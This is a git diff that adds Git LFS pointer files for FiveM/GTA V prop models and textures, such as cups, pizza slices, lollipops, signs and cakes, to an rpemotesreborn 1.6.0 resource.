a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup.ydr new file mode 100644 index 000000000..7bdb3df30 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a0e1b3e5078189079fa8c2340e7bf4db7c4dcdb0972b3483ae502fd764db68ec +size 362979 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup2.ydr new file mode 100644 index 000000000..979226309 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1367ee63620ae33374c166d4ba75176c388254872dcb6600b8ab3177378ee495 +size 578866 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup3.ydr new file mode 100644 index 000000000..b9e64d596 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/beanmachine_cup3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:348b1c44c1c819c4a2d0629d149fbcf2f866a1ce7ff50b3389d5dfb7ecc8e28a +size 500642 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/dumbbitchjuice.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/dumbbitchjuice.ydr new file mode 100644 index 000000000..a07e66c98 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/dumbbitchjuice.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8293391d552f6fe3e23f3988b90cd294f640e706f8af1832b3c7fef40a0237f5 +size 501700 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/heart_balloon.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/heart_balloon.ydr new file mode 100644 index 000000000..56d6d5d73 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/heart_balloon.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d8ac61da14e83d5d5cb790d78cad29a18acbeb0ddd074b3e71534a76a73164ef +size 1503355 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/kaykaymods_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/kaykaymods_props.ytyp new file mode 100644 index 000000000..797a3b1a6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/kaykaymods_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/pride_heart_balloon.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/pride_heart_balloon.ydr new file mode 100644 index 000000000..6ed998055 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KayKayMods/pride_heart_balloon.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e4bc3e309c5c5f285e921e284184f6eb1d130a51ebfecd43de65849bd0ba133d +size 608257 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzas.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzas.ytyp new file mode 100644 index 000000000..036aa3447 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzas.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice1.ydr new file mode 100644 index 000000000..971b03df8 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a76c2d9f6426f49cfe2c26272b337b465a08d2a21fcfc634940e49ea0982d3ee +size 187651 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice2.ydr new file mode 100644 index 000000000..ff86de44c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:89c188b3b2ad1c85aa1273ed4f1dd6fa6da5ae18c524426924f58f3a351ee93e +size 188850 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice3.ydr new file mode 100644 index 000000000..8bfd1bf86 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:86d45f5a1cf26fadcfe9d814f58849f2c2856006d897c078e351fe1c533d1aed +size 187691 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice4.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice4.ydr new file mode 100644 index 000000000..179009c08 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice4.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7860283422199c7cb75bc54b9db48a23266573c0cab5cb99f6ba57f9fe93c256 +size 185939 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice5.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice5.ydr new file mode 100644 index 000000000..4fc42a0f9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/KnjghPizzaSlices/knjgh_pizzaslice5.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e22a33d00a3bd68723bc451d277541862abfdebe85446c1c67d4c34ab99a9992 +size 189124 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop01.ydr new file mode 100644 index 000000000..c1a339c2a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dbea14c6f272c45106c0d513d497fdc6c1c0cd5e2b093d8d3865b43ee4199626 +size 15684 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop02.ydr new file mode 100644 index 000000000..16d73ee68 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:981a244842d36796a67b74492ceb0735cbe0a15b626772aeb9a70e0ce3339068 +size 15768 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop03.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop03.ydr new file mode 100644 index 000000000..6ccbf02ce --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop03.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:92748cc04d6b13be17f70f88da1da57d68e4250cfae0912bf3b275aaf2db31e5 +size 15699 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop04.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop04.ydr new file mode 100644 index 000000000..c098cabc5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop04.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c29f818de6f416c503763ebbb487fd4a0150945a075bb893dfb787f38db3e8d5 +size 15726 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop05.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop05.ydr new file mode 100644 index 000000000..e819a65ce --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop05.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:12962808f87ef4d6c9fdadcf1379ddd41f10f08ff3613a7a52d96e0a6251196d +size 15669 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin01.ydr new file mode 100644 index 000000000..bb9e1835f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d7a3b9823f712aaf7882437c284f80a3fd91989260c5f7d10358fabc18cbdc39 +size 29001 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin02.ydr new file mode 100644 index 000000000..12663e056 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:87f63a9566ba2d01d654a5ca1f94b31c136ecaebc3ae7b83bf8e66b9cdc4b244 +size 28951 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin03.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin03.ydr new file mode 100644 index 000000000..b1f270891 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin03.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7ca73a71d1dedab3b0ee0286a9076dd06a017853f7e6b7ffe04eb20aba8872ab +size 28910 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin04.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin04.ydr new file mode 100644 index 000000000..4d648e3e4 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin04.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:95829a9a4226891396921f5823c941f09df0c6a8ea34da8b5e9e528f6083548f +size 28888 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin05.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin05.ydr new file mode 100644 index 000000000..2c10cf1f4 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spin05.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d856ab6641e99c7f3f633e025e19f0ff2e3040cd56dd4680a5cb588336633a93 +size 28888 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral01.ydr new file mode 100644 index 000000000..adf67b2ba --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:25076182b239870c74124fb2d8b873a483e9c842baf7cec9ef5c81da7b2334c4 +size 72945 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral02.ydr new file mode 100644 index 000000000..1b7e137dd --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4d161c502ad87c86e90c4c04e95cc6a9f51edd07852ba93223f55acc8f518c8b +size 73081 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral03.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral03.ydr new file mode 100644 index 000000000..82511711e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral03.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cadffec72954e12f82cf822735e44f9b119bfda8a86440b9afcb11afc12b6559 +size 128408 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral04.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral04.ydr new file mode 100644 index 000000000..bbe153302 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral04.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:41092f7002ef8fbc20d1f1f84a63ba5fc20f537b1b19ddda27956a84f8fb2987 +size 72960 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral05.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral05.ydr new file mode 100644 index 000000000..69d2f216e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral05.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b4fda02016b37f615e0749eb4461cbcf707306e59c68eed6a70a879978c89771 +size 73014 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral06.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral06.ydr new file mode 100644 index 000000000..8c4ca66b1 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_lollipop_spiral06.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5838dbb3083b166d081089589083cd2855d67f2d9474190adeae2bba5bbeab78 +size 69403 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytd new file mode 100644 index 000000000..9130d4a3c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8dfaa0d43020a3883652a4d4da20d89b14808ab50f16f4a3008893c39ea9772a +size 907901 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytyp new file mode 100644 index 000000000..04e1c09fe Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/NattyLollipops/natty_props_lollipops.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/pnwsigns.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/pnwsigns.ytyp new file mode 100644 index 000000000..38271a732 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/pnwsigns.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign.ytd new file mode 100644 index 000000000..3435c3c54 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b66968fe0a5e9aec97e8925a50e8b46ca41f1119cfa93c3b0a3040c4eeadd56e +size 52534 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ydr new file mode 100644 index 000000000..1798186a5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e15abeb1140de4f79d506eec57ff4bca6b34fcdead25973c9a13d825d8809b86 +size 2818 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ytd new file mode 100644 index 000000000..3435c3c54 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_01.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b66968fe0a5e9aec97e8925a50e8b46ca41f1119cfa93c3b0a3040c4eeadd56e +size 52534 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ydr new file mode 100644 index 000000000..dc129881b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3044f99008ce04f1bded2e96c04155ec283da69a0e02a13c70457fcd0ac9f2a1 +size 2790 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ytd new file mode 100644 index 000000000..3435c3c54 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PNWParksFan/prop_flagger_sign_02.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b66968fe0a5e9aec97e8925a50e8b46ca41f1119cfa93c3b0a3040c4eeadd56e +size 52534 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake.ydr new file mode 100644 index 000000000..c2e8ff0c9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:923e90c0fa651a702cb64fcd93ad71ceb9d1edac04fed7106685c0dd82d6e4eb +size 2112561 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake2.ydr new file mode 100644 index 000000000..6cdbbed44 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b9ff7c343432e200ad363446c92f2d5c5d7f3a2e072d726ed65a7ab8494ae7c4 +size 870577 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake3.ydr new file mode 100644 index 000000000..e562bddfa --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_cake3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:16399e3f11d8b5787fc42134554af3791189117cb6526a17d3aa4f19312e20eb +size 1323439 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood1.ydr new file mode 100644 index 000000000..c1ad64957 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:50dbe4c8217f373a8794fb256982478eef8a4e0f2a5ad466d1f0029d924bbcc4 +size 1262351 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood2.ydr new file mode 100644 index 000000000..a3ae89ca9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6c81e31fcfa1e88f445bee8075c3a863d8ed541223eb32c5bd4546686cbf624c +size 1253219 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood6.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood6.ydr new file mode 100644 index 000000000..2625a82a3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood6.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:709365d4020281bf5888b6ce11affbc01e09ba6f0a9532c55e31e2c08a9904a1 +size 3296255 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood7.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood7.ydr new file mode 100644 index 000000000..28e95097d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood7.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2875267542d88f4995526b8b1e994864ec3d7493840cceb6829229c2f0125206 +size 1096377 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood8.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood8.ydr new file mode 100644 index 000000000..17ea780cc --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_christmasfood8.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:53fc7d20505b1a5bd2356bc14b81074c919392dbd3cd2c8e52784f03f383641b +size 1364088 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday.ydr new file mode 100644 index 000000000..e1815546f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:96a23dd58d3898d52c5d4c37c4e8da001a96a5398b8a5b9162ebf50072319135 +size 63991 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday2.ydr new file mode 100644 index 000000000..ceaa9b3c5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:14be9cf9f6ec849db2922bf6269eb9e244881f454e501ed0c9493246a77dc27c +size 216002 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday3.ydr new file mode 100644 index 000000000..d9cd25632 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_freevalentinesday3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:750becd26116f6ee7511343a6149dc467bfd1e3d17fc9bcc556c26ff6443e768 +size 1160442 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_props.ytyp new file mode 100644 index 000000000..4a4387708 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/PataMods/pata_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_blm.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_blm.ydr new file mode 100644 index 000000000..6609445c3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_blm.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fef18753b6d67efccec3aeb1620ca142bdfbf7ca623dcd001d32a79b44476279 +size 55581 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba.ydr new file mode 100644 index 000000000..ac4aa797d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fc4320087e4d19543645ea57d22c8886e81565270b70a49011b224ac3c9be4e6 +size 96183 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba2.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba2.ydr new file mode 100644 index 000000000..1ef1564c5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba2.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:296c7a59fdafdddb673e4d99acd65074918f6e13c5079ead119a58ca1c54a2cf +size 91833 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba3.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba3.ydr new file mode 100644 index 000000000..babc14111 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_boba3.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:18f0f26c99765715c6757b3d268fd70157bde974b08a4aa54a5997fdc41f555b +size 94863 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_pho.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_pho.ydr new file mode 100644 index 000000000..57517ebaf --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_pho.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a9d7bc475a3035cb53f9ee3c5ec2cbbc97ae2ac4353c7c37846a10106464d459 +size 200171 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_props.ytyp b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_props.ytyp new file mode 100644 index 000000000..fd4579185 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_props.ytyp differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_spoon_pho.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_spoon_pho.ydr new file mode 100644 index 000000000..d2195231c --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Scully/scully_spoon_pho.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:58958400c9bf3d4ca33fd1916868633119c22db11494a719f7f44063c8d4e1e6 +size 8648 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/candletxd.ytd b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/candletxd.ytd new file mode 100644 index 000000000..69736e4e8 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/candletxd.ytd @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:78bbdcbbc34195da306b3d0118330cfcca257a6848f28dd6e009939aca621905 +size 15001 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag1.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag1.ydr new file mode 100644 index 000000000..9961ae2e9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/TayMcKenzieNZ/lilprideflag1.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 